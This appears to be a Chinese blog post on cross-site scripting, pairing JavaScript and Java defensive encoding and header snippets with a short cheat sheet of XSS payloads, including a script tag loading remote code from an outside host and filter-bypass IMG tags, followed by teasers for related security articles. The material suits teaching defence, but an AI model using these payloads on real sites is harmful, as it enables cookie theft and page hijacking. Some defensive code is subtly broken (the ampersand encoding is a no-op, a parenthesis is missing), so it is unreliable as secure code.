代码编织梦想

Xss防御
1.
function encodeForHTML(str, kwargs){
 return ('' + str)
 .replace(/&/g, '&')
 .replace(/</g, '&lt;') // DEC=> &#60; HEX=> &#x3c; Entity=> &lt;
 .replace(/>/g, '&gt;')
 .replace(/"/g, '&quot;')
 .replace(/'/g, '&#x27;') // &apos; 
 .replace(/\//g, '&#x2F;');
 }; 

2、
function encodeForHTMLAttibute(str, kwargs){
let encoded = '';
 for(let i = 0; i < str.length; i++) {
 let ch = hex = str[i];
 if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
 hex = '&#x' + ch.charCodeAt(0).toString(16) + ';';
 }
 encoded += hex;
 }
 return encoded;
 }; 

3、
function encodeForJavascript(str, kwargs) {
 let encoded = '';
 for(let i = 0; i < str.length; i++) {
 let cc = hex = str[i];
 if (!/[A-Za-z0-9]/.test(str[i]) && str.charCodeAt(i) < 256) {
 hex = '\\x' + cc.charCodeAt().toString(16);
 }
 encoded += hex;
 }
 return encoded;
 }; 
4、
function encodeForURL(str, kwargs){
 return encodeURIComponent(str);
};

5、
function encodeForCSS (attr, str, kwargs){
 let encoded = '';
 for (let i = 0; i < str.length; i++) {
 let ch = str.charAt(i);
 if (!ch.match(/[a-zA-Z0-9]/) {
 let hex = str.charCodeAt(i).toString(16);
 let pad = '000000'.substr((hex.length));
 encoded += '\\' + pad + hex;
 } else {
 encoded += ch;
 }
 }
 return encoded;
 };


6、
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

7、
Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);
AntiSamy as = new AntiSamy();
CleanResults cr = as.scan(dirtyInput, policy);
MyUserDao.storeUserProfile(cr.getCleanHTML());

8<span>${username}</span>
<p><c:out value="${username}"></c:out></p>
<input type="text" value="${username}" />

9<system.webServer>
  ...
  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>
 
10.
<input type="button" οnclick='go_to_url("${myUrl}");' />


Xss 攻击
1.获取用户的cookie

<script>alert(document.cookie)</script>

οnclick=alert(document.cookie)

2. Disrupt page layout

<iframe src="http://baidu.com"></iframe>

<script>alert("hello")</script>

3. Normal XSS JavaScript injection
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

4.IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

5.IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

6.IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

7.HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

8.修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>>

9.formCharCode标签(计算器)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

10.嵌入式标签,将Javascript分开
<IMG SRC=”jav ascript:alert(‘XSS’);>



版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_44002133/article/details/111052268

15个漏洞详情,FireEye被盗网络武器库分析-爱代码爱编程

12月8日,美国顶级安全公司FireEye(中文名:火眼)发布一则通告称:其内部网络被某个“拥有一流网络攻击能力的国家”所突破,这场攻击导致FireEye的红队安全工具被盗走。 FireEye官方说明(图片源自FireEye官网fireeye.com) 这次攻击和以往不同的是,攻击者在入侵FireEye后,并没有进行勒索或数据泄露等常规操

pikachu xss攻击模块 信息安全 xss漏洞 详细分析-爱代码爱编程

XSS攻击 跨站脚本漏洞测试流程反射型xss(get)反射型xss(post)存储型xss实例:xss钓鱼DOM型xssDom型xss-xXss盲打Xss之过滤Xss之htmlspecialcharsXss之href输出Xss之js输出Xss常见防范措施 跨站脚本漏洞测试流程 在目标站点上找到输入点,比如查询接口,留言板等。输入一

js pack代码结果浅析-爱代码爱编程

本文以一个开源的JavaScript xss filter库(https://github.com/leizongmin/js-xss)为例,分析js代码pack之后的代码结构  js源码打包的目的是封闭代码实现细节,仅导出对外使用的模块,类似面向对象语言中的类 1、以下是js打包的基本结构 (function() { function r(

渗透测试之XSS(跨站脚本攻击)-爱代码爱编程

文章目录 XSS 漏洞概述XSS 分类XSS 危害XSS 漏洞的验证XSS 的构造XSS 的变形(绕过方式)Shellcode 的调用远程调用JSwindows.location.hashXSS Downloader备选存储技术XSS 的应用浏览器劫持beef 的安装与基本利用利用存储型XSS 进行浏览器的劫持固定会话攻击盗取Cookie篡改链接钓